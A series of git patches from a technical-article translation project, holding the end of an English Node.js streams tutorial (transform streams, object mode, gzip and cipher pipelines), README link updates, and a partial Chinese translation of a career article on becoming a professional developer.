+By combining the methods, we can use this duplex stream to read the letters from A to Z and we can also use it for its echo feature. We pipe the readable `stdin` stream into this duplex stream to use the echo feature and we pipe the duplex stream itself into the writable `stdout` stream to see the letters A through Z.
+
+It’s important to understand that the readable and writable sides of a duplex stream operate completely independently from one another. This is merely a grouping of two features into an object.
+
+A transform stream is the more interesting duplex stream because its output is computed from its input.
+
+For a transform stream, we don’t have to implement the `read` or `write` methods, we only need to implement a `transform` method, which combines both of them. It has the signature of the `write` method and we can use it to `push` data as well.
+
+Here’s a simple transform stream which echoes back anything you type into it after transforming it to upper case format:
+
+```
+const { Transform } = require('stream');
+
+const upperCaseTr = new Transform({
+  transform(chunk, encoding, callback) {
+    this.push(chunk.toString().toUpperCase());
+    callback();
+  }
+});
+
+process.stdin.pipe(upperCaseTr).pipe(process.stdout);
+```
+
+In this transform stream, which we’re consuming exactly like the previous duplex stream example, we only implemented a `transform()` method. In that method, we convert the `chunk` into its upper case version and then `push` that version as the readable part.
+
+#### Streams Object Mode ####
+
+By default, streams expect Buffer/String values. There is an `objectMode` flag that we can set to have the stream accept any JavaScript object.
+
+Here’s a simple example to demonstrate that. The following combination of transform streams makes for a feature to map a string of comma-separated values into a JavaScript object. So `“a,b,c,d”` becomes `{a: b, c: d}`.
+
+```
+const { Transform } = require('stream');
+const commaSplitter = new Transform({
+  readableObjectMode: true,
+  transform(chunk, encoding, callback) {
+    this.push(chunk.toString().trim().split(','));
+    callback();
+  }
+});
+const arrayToObject = new Transform({
+  readableObjectMode: true,
+  writableObjectMode: true,
+  transform(chunk, encoding, callback) {
+    const obj = {};
+    for(let i=0; i < chunk.length; i+=2) {
+      obj[chunk[i]] = chunk[i+1];
+    }
+    this.push(obj);
+    callback();
+  }
+});
+const objectToString = new Transform({
+  writableObjectMode: true,
+  transform(chunk, encoding, callback) {
+    this.push(JSON.stringify(chunk) + '\n');
+    callback();
+  }
+});
+process.stdin
+  .pipe(commaSplitter)
+  .pipe(arrayToObject)
+  .pipe(objectToString)
+  .pipe(process.stdout)
+```
+
+We pass the input string (for example, `“a,b,c,d”`) through `commaSplitter` which pushes an array as its readable data (`[“a”, “b”, “c”, “d”]`). Adding the `readableObjectMode` flag on that stream is necessary because we’re pushing an object there, not a string.
+
+We then take the array and pipe it into the `arrayToObject` stream. We need a `writableObjectMode` flag to make that stream accept an object. It’ll also push an object (the input array mapped into an object) and that’s why we also needed the `readableObjectMode` flag there as well. The last `objectToString` stream accepts an object but pushes out a string, and that’s why we only needed a `writableObjectMode` flag there. The readable part is a normal string (the stringified object).
+
+![](https://cdn-images-1.medium.com/max/800/1*u2kQzUD0ruPpt-xx0UOHoA.png)
+
+Usage of the example above
+
+#### Node’s built-in transform streams ####
+
+Node has a few very useful built-in transform streams. Namely, the zlib and crypto streams.
+
+Here’s an example that uses the `zlib.createGzip()` stream combined with the `fs` readable/writable streams to create a file-compression script:
+
+```
+const fs = require('fs');
+const zlib = require('zlib');
+const file = process.argv[2];
+
+fs.createReadStream(file)
+  .pipe(zlib.createGzip())
+  .pipe(fs.createWriteStream(file + '.gz'));
+```
+
+You can use this script to gzip any file you pass as the argument. We’re piping a readable stream for that file into the zlib built-in transform stream and then into a writable stream for the new gzipped file. Simple.
+
+The cool thing about using pipes is that we can actually combine them with events if we need to. Say, for example, I want the user to see a progress indicator while the script is working and a “Done” message when the script is done. Since the `pipe` method returns the destination stream, we can chain the registration of events handlers as well:
+
+```
+const fs = require('fs');
+const zlib = require('zlib');
+const file = process.argv[2];
+
+fs.createReadStream(file)
+  .pipe(zlib.createGzip())
+  .on('data', () => process.stdout.write('.'))
+  .pipe(fs.createWriteStream(file + '.zz'))
+  .on('finish', () => console.log('Done'));
+```
+
+So with the `pipe` method, we get to easily consume streams, but we can still further customize our interaction with those streams using events where needed.
+
+What’s great about the `pipe` method though is that we can use it to *compose* our program piece by piece, in a much readable way. For example, instead of listening to the `data` event above, we can simply create a transform stream to report progress, and replace the `.on()` call with another `.pipe()` call:
+
+```
+const fs = require('fs');
+const zlib = require('zlib');
+const file = process.argv[2];
+
+const { Transform } = require('stream');
+
+const reportProgress = new Transform({
+  transform(chunk, encoding, callback) {
+    process.stdout.write('.');
+    callback(null, chunk);
+  }
+});
+
+fs.createReadStream(file)
+  .pipe(zlib.createGzip())
+  .pipe(reportProgress)
+  .pipe(fs.createWriteStream(file + '.zz'))
+  .on('finish', () => console.log('Done'));
+```
+
+This `reportProgress` stream is a simple pass-through stream, but it reports the progress to standard out as well. Note how I used the second argument in the `callback()` function to push the data inside the `transform()` method. This is equivalent to pushing the data first.
+
+The applications of combining streams are endless. For example, if we need to encrypt the file before or after we gzip it, all we need to do is pipe another transform stream in that exact order that we needed. We can use Node’s `crypto` module for that:
+
+```
+**const crypto = require('crypto');
+**// ...
+```
+
+```
+const crypto = require('crypto');
+// ...
+fs.createReadStream(file)
+  .pipe(zlib.createGzip())
+  .pipe(crypto.createCipher('aes192', 'a_secret'))
+  .pipe(reportProgress)
+  .pipe(fs.createWriteStream(file + '.zz'))
+  .on('finish', () => console.log('Done'));
+
+```
+
+The script above compresses and then encrypts the passed file and only those who have the secret can use the outputted file. We can’t unzip this file with the normal unzip utilities because it’s encrypted.
+
+To actually be able to unzip anything zipped with the script above, we need to use the opposite streams for crypto and zlib in a reverse order, which is simple:
+
+```
+fs.createReadStream(file)
+  .pipe(crypto.createDecipher('aes192', 'a_secret'))
+  .pipe(zlib.createGunzip())
+  .pipe(reportProgress)
+  .pipe(fs.createWriteStream(file.slice(0, -3)))
+  .on('finish', () => console.log('Done'));
+```
+
+Assuming the passed file is the compressed version, the code above will create a read stream from that, pipe it into the crypto `createDecipher()` stream (using the same secret), pipe the output of that into the zlib `createGunzip()` stream, and then write things out back to a file without the extension part.
+
+That’s all I have for this topic. Thanks for reading! Until next time!
+
+*If you found this article helpful, please click the💚 below. Follow me for more articles on Node.js and JavaScript.*
+
+I create **online courses** for [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course)  and [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) . My most recent courses are [Getting Started with React.js](https://www.pluralsight.com/courses/react-js-getting-started) , [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) , and [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html) .
+
+I also do **online and onsite training** for groups covering beginner to advanced levels in JavaScript, Node.js, React.js, and GraphQL. [Drop me a line](mailto:samer@jscomplete.com)  if you’re looking for a trainer. I’ll be teaching 6 onsite workshops this July at Forward.js, one of them is [Node.js beyond the basics](https://forwardjs.com/#node-js-deep-dive).
+
+If you have any questions about this article or any other article I wrote, find me on [this **slack** account](https://slack.jscomplete.com/)  (you can invite yourself) and ask in the #questions room.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 3c9b96c3980026dcaf245384821e4ca1da5fdf41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 16:32:16 +0800
Subject: [PATCH 538/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b8de50d7d53..a5d44a2a930 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [506](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [507](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -76,10 +76,10 @@
 
 ## 设计
 
+* [设计准则：如何说服用户去使用新的功能](https://juejin.im/post/59279b650ce463006b029cbc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [最激动人心的视觉系统其实是最枯燥乏味的](https://juejin.im/entry/59228e15a0bb9f005f60915a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Nicolas(Yifei) Li](https://github.com/yifili09) 翻译)
 * [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
-* [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)
 
 

From e71aeb63b46f56a367a380cfa3919a4e2fd8ef0a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 16:32:40 +0800
Subject: [PATCH 539/638] Update design.md

---
 design.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/design.md b/design.md
index 760846a09ac..83e21a4b4e9 100644
--- a/design.md
+++ b/design.md
@@ -1,3 +1,4 @@
+* [设计准则：如何说服用户去使用新的功能](https://juejin.im/post/59279b650ce463006b029cbc?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([iloveivyxuan](https://github.com/iloveivyxuan) 翻译)
 * [最激动人心的视觉系统其实是最枯燥乏味的](https://juejin.im/entry/59228e15a0bb9f005f60915a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Nicolas(Yifei) Li](https://github.com/yifili09) 翻译)
 * [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)

From 46aced4fea9820e0dfccd20e3820e90d586c6179 Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Fri, 26 May 2017 16:32:16 +0800
Subject: [PATCH 540/638] part 1 - 5

---
 ...from-hobbyist-to-professional-developer.md | 218 +++++++++---------
 1 file changed, 109 insertions(+), 109 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index fc02003291a..b13cfdc3fe3 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -4,225 +4,225 @@
 > * 译者：
 > * 校对者：
 
-# How to Go From Hobbyist to Professional Developer #
+# 如何从一个业余爱好者成长成为专业开发者 #
 
 ![](https://cdn-images-1.medium.com/max/2000/1*LZZ9Sr4XL7j2-LjSJ5uq9Q.jpeg)
 
-A few years ago, I was bouncing back and forth between landscaping jobs and restaurant jobs. I had just left college, and didn’t know what I was going to do with my life.
+几年前，我正处于美化工作和餐馆工作两头跑的状态中。那时我刚离开大学校园，不知道未来我将靠什么为生。
 
-I had a lot of ideas, but no direction. During that time, I started teaching myself programming. At first it was a hobby. I thought it was cool to be able to build things using nothing but my brain and some code.
+我有许多想法，却毫无方向。在那段时间里，我开始自学编程。起初这只是一个爱好。我觉得仅靠自己的大脑和代码去创造东西是一件很酷的事。
 
-But then I started thinking about where my life was going, and saw this as a potential living.
+逐渐地我开始思考生活前进的方向，并视其为一个有可能的生活方式。
 
-At first, I put the idea out of my head. I couldn’t afford real education. I already dropped out of college once because of money, and if I went in for computer science, I’d have to start over.
+一开始，我也只是随便想想而已。我负担不起现代教育的费用。我早就已经因为钱的原因而辍学了，如果要修计算机科学专业，我必须重新开始。
 
-I’d leave with 6 years of school and well over $50,000 in debt if I took that route. So that wasn’t an option.
+我已经离开大学校园整整六年之久。如果我选择重返校园学习计算机科学还将给我带来超过五万美元的负债。所以这条路行不通。
 
-Then I started thinking that I could teach myself web development well enough to get an internship.
+然后我想到我可以通过自学 Web 开发来获得一份实习工作。
 
-My initial plan was to introduce myself to a few companies in my town, and ask if they would want to meet with me. I wanted to discuss the potential of me working with them while I was in school. That way I could pay for school and get some experience at the same time.
+我最初的计划是向镇上的几家公司推荐我自己，问他们是否愿意和我见面。我想和他们谈论我一边读书一边帮他们打工的可能性。通过这种方式我可以支付我的学费，同时获得一些工作经验。
 
-So I got serious about web development.
+因此我开始认真对待 Web 开发。
 
-Instead of tinkering I started to build a real portfolio and document my skills.
+不是东学一点西学一点而是开始构建一个真实的作品集并记录自己的技能。
 
-I started becoming active on places like Stack Overflow.
+我开始活跃在类似 Stack Overflow 的网站。
 
-I built a few practical applications and put them on GitHub. They were nothing fancy, but they demonstrated that I knew how to code.
+我写了一些实用的程序并将其放在了 GitHub 上。它们没什么特别的，但是它们展现了我的编程能力。
 
-One company didn’t offer me a part time job. They didn’t say to come back after I had my degree. They offered me a full-time job on a 6 month trial basis as their new Junior Developer.
+有家公司拒绝提供我临时工的岗位。也不用我获得学位。他们直接提供了我一个试用期六个月的全职初级工程师的岗位。:TOBECONFIRMED
 
-I was over the moon. It turns out that once I got serious and started developing with a purpose, I taught myself quite a bit.
+我开心极了。原来从我带有目的地认真学习编程开始，我已经收获了相当多的知识。
 
-I was able to answer their questions. I was able to walk them through the modest applications I had built. And I was able to explain how my projects worked.
+我有能力回答他们的提问，向他们展示我那微不足道的应用，并解释其工作原理。
 
-I stayed at that company for two and a half years, and then took a job as a web developer for the city I live in.
+我在那家公司工作了两年半，之后在我生活的城市获得了一个 Web 开发的职位。
 
-### View yourself as a lifelong apprentice ###
+## 把自己视为一个终生学习者 ##
 
-An important part of my transition into a professional developer role was viewing the time I spent with my previous company as an apprenticeship. I learned as much as I could.
+我将我在上一家公司工作的经历视为一个学习过程，尽我所能地去学习，这在我成长为一个专业工程师的道路上起到了相当大的作用。
 
-The real-world knowledge gained from working at a company is invaluable. Knowing how to work with clients, coworkers, and within constraints is essential. This is something you can only learn in the field.
+在工作中你将学到十分宝贵的真知。知道如何与客户、同事相处以及遵守公司制度是十分重要的。而这些你只能从实践中获得。 :TOBECONFIRMED
 
-While I may know more now than I did when I first started that job, I’ll never stop viewing myself as an apprentice. One of the requirements for being a great developer is the desire to continue learning. The minute we see ourselves as having mastered a skill is the minute we stop growing.
+无论我比开始工作的时候进步了多少，我一直视自己为一个学徒。渴望不断学习是成为一个伟大的开发人员的重要条件。一旦我们觉得我们已经掌握了某个技能，那么我们就会停止成长。
 
-Hemingway said it best:
+海明威曾说过：
 
-> We are all apprentices in a craft where no one ever becomes a master.
+> 我们在工艺上都是学徒，而且从没有人成为大师。
 
-He was talking about writing, but it applies to development as well.
+他这句话说的是写作，但是在程序开发方面也同样适用。
 
-The combination of teaching myself and working for a company has allowed me to learn so much ([I’m even writing a book](http://meteorandreact.com/)). I understand the technical practice of web development, and also how to go from a hobbyist to a professional. It’s a path that anyone can take, regardless of your time or abilities.
+在工作的同时不断自学令我收获颇丰（[我甚至写了本书](http://meteorandreact.com/)）。我了解了关于网站开发的一些实用技术，同时从一个业余爱好者成长为一个专业开发人员。你们也可以做到，无论你们有多少时间和能力。
 
-To give you some perspective, I was working two jobs at once — one of which involved getting up at 4 a.m. to drive a forklift around.
+再和你说件事儿，我曾经同时做两份工作，其中一个需要我早上四点就爬起来开着叉车到处跑。
 
-Learning to code as a busy adult takes determination, drive, and a stubborn persistence.
+作为一个生活忙碌的成年人，想要学习编程需要有决心、动力以及倔强的坚持。
 
-### Making the transition from Hobbyist to Professional ###
+### 从入门到精通
 
-Here’s a process that you can follow. The exact journey will be different for everyone, but there are steps you can take to get you on the right path.
+下面是一个你可以遵循的流程。每个人的学习过程的确会有所不同，但是有一些好的建议有助于你走上正轨。
 
-#### 1. Realize that you can do this ####
+#### 1. 相信自己可以做到 ####
 
-Anyone can teach themselves to be a developer. There’s this idea that being self-taught is something only a certain type of person can do. They’re right in a sense. You need to be self-driven and motivated by something other than immediate payment. But anyone can become this type of person.
+任何人都可以通过自学成为一个开发者。有一种观点是自学只有特定类型的人能做到，这在某种程度上是正确的。你需要自我驱动，而不是被能立即得到回报的动机驱动。但是任何人都可以成为这种类型的人。
 
-There’s this idea present in our society that some people are born with certain traits and others aren’t. It’s detrimental to growth, and one of the reasons why so many people feel unfulfilled in life.
+现代社会存有天赋不是人人都有的这种观点。这种观点不利于我们的成长，也是许多人在生活中感到不满的原因之一。
 
-If you always felt that you either “had it” or you didn’t, it would be very easy to get discouraged.
+如果你执着于自己是否有天赋这一点，那么你将很容易沮丧。
 
-I want to put that myth to bed right now. Anyone can learn to be self-motivated and teach themselves programming. Or start a successful business. Or achieve a long-term goal.
+我要立马把这种错误观念抛诸脑后。任何人可以自我驱动并且自学编程。或者开始一个成功的业务，或者实现一个长期目标。
 
-It’s not about catching a big break, or being born with the right traits. It’s about perseverance.
+这无关你是否抓住了一个大机会，或是天赋异禀。持之以恒才是关键。
 
-If you can put your head down, push through the hard times, and commit, you can do anything you want to.
+如果你能够埋头苦干，即使困难的时候也不放弃，坚持不懈，那么没有什么事情是你办不到的。
 
-That last part is super important, but I want to provide a warning before moving on.
+最后一点相当重要，但是我想先给你们提个醒儿再继续。
 
-People are often too quick to embrace their own successes and the successes of others. It’s known as [survivorship bias](https://youarenotsosmart.com/2013/05/23/survivorship-bias/).
+人们总是更倾向于关注自己和他人的成功。这就是著名的[幸存者偏差](https://youarenotsosmart.com/2013/05/23/survivorship-bias/)。
 
-There is an element of luck in everything. Sometimes things just work out. For example, I contacted a web development agency and was lucky enough that they happened to be looking for someone at that moment, and I happened to fit what they were looking for.
+运气的确客观存在。有时候有了它事情会变得相当的顺利。例如，我之前联系过一个 Web 开发的机构，幸运的是他们当时正好在招人并且我恰巧符合他们的要求。:TOBECONFIRMED
 
-But what is luck?
+但什么是运气呢？
 
-Sure, I was lucky to get that job, but I never would have been lucky if I hadn’t made the decision to teach myself development. And then made the decision to apply to that job.
+当然，我获得那份工作有运气的成分在，但是如果我没有下定决心去自学开发那么有运气也是没用的。之后我果断地决定去申请这份工作。 :TOBECONFIRMED
 
-Luck does play a factor, but the myth is that it is all up to luck. You can increase your odds of getting lucky, you just have to be willing to put yourself out there.
+运气的确有一定的作用，但是凡事全靠运气确实不对的。要想自己更加好运，你就应该更加投入于你所做的事情。 :TOBECONFIRMED
 
-But luck will never find you if you don’t commit to being great at something.
+但是好运并不会眷顾胸无大志之人。
 
-#### 2. Commit to being incredible at your craft ####
+#### 2. 持之以恒在促成你的作品方面有着难以置信的魔力 ####
 
-One of my biggest weaknesses is that I get bored and distracted. I want to jump into the next project. This tendency will kill your success.
+我最大的缺点之一就是我容易感到厌倦和分心。我会不断想要跳过目前的工作进入下一个项目。这种趋势会断送你的成功。
 
-It feels like freedom. Being able to bounce between whatever project happens to suit your mood that day, but...
+根据心情选择项目固然很自由，但是……
 
 ![](https://cdn-images-1.medium.com/max/800/1*ZXYdFihJqlj0-mIlO1-t6g.jpeg)
 
-It’s a trap! If you take away nothing else from this article, let it be this:
+这是一个陷阱！你可以忽视本文的其他观点，但请记住一点：
 
-**The number one key to succeeding in becoming a professional developer is to commit. Commit and never stop until you make it happen.**
+**成为一个专业的程序员最重要的一点就是坚持。持之以恒决不放弃直到作品完成**
 
-This applies to everything.
+这句话到处适用。
 
-People stress out about which framework to use. But what matters is picking one and sticking with it. You can transfer and learn new languages and frameworks later.
+人们非常在意选择什么框架去使用。但是关键的是选择一个并坚持使用。你可以之后再转去学新的语言和框架。
 
-What matters is the problem solving skills you will gain when developing. The ability to think like a developer.
+重要的是在开发时学会解决问题的技能，并像开发人员一样思考问题。
 
-I taught myself programming using Laravel, but the company that hired me used CakePHP. It didn’t matter. They knew I could pick up the technical skills required to switch frameworks.
+我自学的时候使用的是 Laravel，但是雇佣我的公司使用 CakePHP 来进行开发。没事，他们知道我有切换框架的能力。
 
-Pick a direction and see it through, no matter what. You have to remove the possibility of getting distracted by something else.
+选择一个方向并深挖下去，无论你选择的是什么。同时你需要清除其它的干扰项。
 
-Few feelings can compare to the relentless pursuit of mastery of a craft.
+这种精益求精的过程中有着一种无与伦比的美妙感受。
 
-It isn’t easy. Once you learn to ignore distractions, you will notice an increase in enjoyment of your work.
+它的确不易。但是一旦你学会不分心，你将发觉到工作中持续增长的乐趣。
 
-Mike Rowe is fond of saying that people shouldn’t start with finding their passion.
+Mike Rowe 常说：人们不应该在发现自己的激情后才开始行动。:TOBECONFIRMED
 
-People are so unhappy because they look for the perfect career. They look for the one that they are passionate about.
+人们郁郁寡欢。执着于寻求一个完美的事业，一个充满激情的事业。
 
-But passion comes from an unstoppable desire to be incredible at your craft. Once you adopt that mindset, your abilities as a developer will take on a new life.
+但是激情来自于对作品持续不断完善的渴望。一旦你养成这个观念，那么你的开发能力将有一个质的飞跃。
 
-#### 3. Start building things immediately ####
+#### 3. 立即开始搭建你的项目 ####
 
-Aspiring developers can get stuck in the trap of reading too much without taking action.
+有抱负的程序员有时候会陷入只看不行动的境地。
 
-Tutorials and books are great for learning the basics. The problem is that they instill a false sense of confidence in the developer.
+教程和书籍对于基础学习的确很有帮助。但问题是它们会给程序员灌输虚假的自信。
 
-Have you ever finished a programming book and gone to build something on your own only to realize you had no idea how to go about doing it? Then you know what I’m talking about.
+如果你曾经看完一本编程书然后动手编程时却发现自己毫无思路，那么你就知道我在说什么了。
 
-The solution to this is simple, but not easy.
+解决方案很简单，但是并不容易。
 
-Start building.
+开始编程。
 
-Make something. Make an app that solves a problem you have in your own life, or that addresses an issue for someone close to you.
+做点什么东西。开发一个应用解决你自己生活中的问题，或者针对于你身边人的某个问题。
 
-Make something for fun.
+做点什么好玩的东西。
 
-Make something and put it out there. Make it open source and put in on GitHub. You aren’t doing it for anyone else, it’s for you, so don’t worry about other people’s opinion of it.
+做点什么并传播出去。把它开源并放在 GitHub 上。你做这些不是为了别人而是为了自己，所以你不需要担心别人对此的看法。
 
-Your code will be ugly at first. I look back at some of the code I wrote even a few months ago and want to vomit. But you can’t learn development without building stuff. Books are fantastic, and I am obsessed with reading as many as possible. Then you must apply that knowledge.
+你的代码一开始会很丑陋。即使我现在看自己一个月前写的代码我都觉得惨不忍睹。但是如果不做点东西你是学不会开发的。书本很棒，我沉迷于看很多很多的书。但是在那之后你必须不断去应用你看到的知识。
 
-You’re going to run into issues and you’re going to struggle. That’s good. Those are the times we learn the most.
+你会遇到很多问题，举步维艰。这很好，这时候我们学到的东西最多。
 
-Start off by building things that solve problems, I’ll talk more about that in step 6 below.
+开始做点小程序来解决问题，这点我会在下面的第六点详细讨论。
 
-#### 4. Set up an online presence ####
+#### 4. 创建一个线上身份 ####
 
-As soon as you start building things, you’ll want to set up an online presence. Your GitHub account will be a great start.
+一旦你开始做点小项目，你会需要创建一个线上的身份。拥有自己的 GitHub 账户是一个不错的开始。
 
-This is where you’ll be able to house the projects you are working on and share them with the world.
+在这里，你可以放置你正在着手的项目，并与全世界的人分享。
 
-But you want to go further than this. I recommend setting up your own portfolio site.
+如果你想要的不止如此。那么我推荐你创建一个个人网站。
 
-This site will do a few things:
+这个网站有以下的几个作用：
 
-1. It will serve as a public place to tell potential employers about yourself
-2. It will be another place where you can showcase your work
-3. It will serve as your platform
+1. 它是一个公开向潜在雇主展示你自己的地方
+2. 它是一个可以展示你作品的地方
+3. 它将成为你的舞台
 
-That last one is huge. Once you start building things, you should immediately start writing about them. Start a simple blog where you share what you are working on and teach everything you know.
+最后一点十分重要。一旦你开始做项目，你就应该立即开始记录他们。开始一个简单的博客去分享你正在做的事情并且传授你所知道的一切。
 
-This is one of the best ways to give potential employers a taste of who you are and what you can do. It’s a way to get your name out there and start building a platform for yourself.
+这是一个向潜在雇主展示你身份和能力的最好方法之一。它可以让大家看到你，并且过程中你也将构建出属于你自己的平台。
 
-This can lead to job opportunities and the possibility to make more income on the side by writing books or freelancing.
+这可以带来工作机会和在写书或者自由职业方面获得额外收入的可能。
 
-Your site should serve a very specific purpose.
+你的网站应该有明确的目的。
 
-Most people create an online resume, but you should do more. What is your specific goal? Your website should be designed and created around that goal.
+很多人制作在线简历，但是你要做的不止如此。你的目标是什么？你的网站需要围绕这个目标设计和创建。
 
-If you want to get a job working on a certain kind of project or with a certain framework, put that in your site.
+如果你想要一个基于某个特定项目或者框架的工作，你可以将其放在你的网站上。
 
-I recommend having 4 core areas for your site:
+我建议你的网站要有以下四个主要构成部分：
 
-1. Home page
+1. 主页
 
-Your home page is the entry point to your site. It should provide a very brief overview about who you are and what you do. And should direct people to go where is most relevant for them.
+你的主页是你网站的入口点。它需要提供一个非常简要的关于你是谁做什么的介绍。并指明人们所关心的内容的入口。
 
-For example, you could have two main buttons. One leading people to your writing section to learn more about web development, and one leading to a hire me page if someone is interested in hiring you.
+比如，你可以有两个主要的按钮。一个引导人们前往你的博客列表去学习一些关于网站开发的知识，另外一个用来引导有意聘用你的人前往你的招聘页面。
 
-2. Writing
+2. 博文
 
-This is where your blog and your tutorials will live. Write as much as you can here, and don’t be afraid to share it.
+这里是放置你的博文以及教程的地方。尽可能多地写一些博文，并且不要害怕去分享他们。
 
-3. About
+3. 关于我
 
-A simple about section that goes into more detail about who you are and what you do. Don’t make this a life story. Again, target this section to be relevant towards what you want to do.
+简单的关于我板块可以展现更多你是谁做什么的细节。不要把它当做你的个人史。再次声明，这一板块核心内容是你想做的事情。 :TOBECONFIRMED
 
-Rather than talk about your personal life, talk about what led you to web development, your journey so far, and where you want to go. Mention some of your favorite projects and link to them.
+不要谈论你的私人生活，而是谈论什么使你成为一个网站开发者，你做过什么，以及未来的规划。谈论一些你喜欢的项目并给出展示链接。
 
-4. Hire Me
+4. 聘请我
 
-An essential part of your site, this is where people will go if they are interested in hiring you as a developer.
+这是你个人网站非常重要的一个部分。这是展现给有意向聘请你的人的板块。
 
-Make sure to find the right balance between selling yourself and being honest. There may be some overlap between this page and your about page, but this page will be more specific about your skills and what you bring to the table.
+确保你有权衡好自卖自夸和诚实之间的平衡。这个页面的内容可能和关于我页面有部分的重叠，但是这个页面将更加明确你的技能以及你可以给公司带来的好处。
 
-This page should also have a contact form so people can get in touch.
+这个页面还需要有你的联系方式以便他人可以联系到你。
 
-In addition to your own site, start offering to write for other major publications. Then you can provide a link back to your site in the bio section.
+除了维护自己的个人网站，你还可以给一些知名出版社写文章。然后在你网站的个人简历板块附上文章链接。
 
-#### 5. Start teaching everything you know ####
+#### 5. 开始传授你会的一切知识 ####
 
-Nathan Barry is a big fan of teaching everything you know. He tells the story of Chris Coyier, founder of CSS Tricks.
+Nathan Barry 是一个酷爱传授你已知知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。
 
-That site started out as Chris publicly writing about what he was learning so others could follow along. Now it’s one of the biggest web development sites out there.
+这个网站一开始是 Chris 用来公开记录一些他在学习的东西以便他人借鉴。现在它已经是最大的 Web 开发站点之一。
 
-The lesson here is that you don’t have to be the world’s greatest expert to start writing about something and teaching it.
+这个故事告诉我们你不必在成为世界最厉害的专家之后才去写东西和传授东西。
 
-In the online business world, there is this idea of the relative expert. It’s the idea that everyone is an expert in something relative to someone else.
+在网络商业的世界中，有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。 :TOBECONFIRMED
 
-I have my issues with this, especially when it is used by someone to justify selling something that maybe they shouldn’t be selling. But it is a useful comparison to make.
+我对此存有疑虑，特别是有人用其来为推销某些不应该被卖出去的东西这一行为做辩解。这只是一个有用的类比。 :TOBECONFIRMED
 
-What bothers me is the use of the word expert. I don’t think there is anything wrong with teaching what you know, and even potentially selling that information if it is valuable to someone else.
+困扰我的是使用专家一词。我不认为传授你知道的东西有什么问题，你甚至可以向需要的人们贩卖这些知识。
 
-But calling yourself an expert may be taking it too far. So when you write your content, approach it honestly.
+但是自称专家好像又言重了。所以当你写东西的时候，请尽量保持内容真实性。
 
-I prefer the term learning in public.
+我更喜欢公开地定期学习。
 
-There are many people who got their start by simply being a public learner. They were learning a craft and documenting what they were learning along the way.
+有很多人是从成为一个公开的学习者开始他们的学习的。他们学习手艺同时并记录下来他们学到的东西。
 
-This is the perfect way to approach teaching everything you know. As you learn more and more, you build up your content, and become a better writer in the process. Over time, others in your industry will start to see you as an authority in your space.
